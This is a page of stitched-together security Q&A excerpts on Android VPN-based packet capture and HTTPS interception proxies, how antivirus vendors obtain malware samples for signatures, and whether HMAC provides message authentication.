But how does the app get the packets? It probably uses the Android VPN API and presents itself to the Android system as a VPN tunnel. Therefore, Android forwards all packets to the app.

Wireshark can't be used as a proxy because wireshark only listens to traffic and does not alter or insert new requests. If you want another tool which can intercept HTTPS, then try OWASP ZAP, Burp Suite or mitmproxy.


How did antivirus vendors find malware to include in traditional AV signatures? Forgive me if it's a silly question, but I'm genuinely curious.

How do traditional AV (signature-based only) vendors get the malware to analyse and include in definition files?

Also, what's the process of determining that it's bad, for it to be included in the definition file?

Thanks

There are a bunch of ways:

Customer directly provides a sample when they get infected or breached, or an analyst finds a sample during incident response or in the process of running a SOC.
Sample matches a previously made signature but isn't the same, so gets analysed for more general indicators of compromise (IOCs) for that malware family.
Someone uploads a sample to VirusTotal or a similar service. If a few AVs pick up a sample but others don't, the others can take a look too.
Security products offered by the same vendor (or a partner vendor) picks up an indicator of compromise based on a heuristic, and sends the sample for analysis. This is how a lot of the Cisco security products work, particularly Umbrella.
Honeypots operated by the AV vendor. These can be standalone systems on the internet, or they can be email accounts where attachments and links are automatically analysed.
On forums and chat groups operated by malware analysts for the purposes of sharing samples.
From forums where criminal groups sell malware kits, e.g. banking trojans.


How to achieve authentication using symmetric cryptography Here, message authentication is defined as

A MAC authenticates a message. If Alice sees a message and a MAC and
knows the associated secret key, she can verify that the MAC was
produced by a principal that knows the key by doing the MAC
computation herself. Therefore, if a message comes with a correct MAC
attached, it means this message was seen by a holder of the secret key
at some point. A MAC is a signature based on a secret key, providing
similar assurances to a signature scheme based on public-key
cryptography such as RSA-based schemes where the signature must have
been produced by a principal in possession of the private key.

So as I understand HMAC for example can be used to authenticate a message am I right? (just had discussion where someone claimed HMAC was only for integrity)
And also, provided I can achieve message authentication with HMAC, how to use it correctly to achieve message authentication? Key generation etc. session keys vs. long term keys. etc.
Or is there maybe better/simpler to implement/configure solution to provide message authentication using symmetric cryptography other then HMAC?
Isn't this kind of authentication something we search for when we want to implement something like say client sending some transaction to the server? (and server accepts it only from legitimate clients)

HMACs are suitable for asserting both message integrity and authenticity, if properly implemented. However, in the context of a conversation, the "hashed" component might draw focus as being more integrity-focused, and thus be talked about in that way.

It's really difficult to answer your question of "how to use it correctly", because we don't know anything about your use case. Without knowing more, it's also difficult to determine whether there are better alternatives.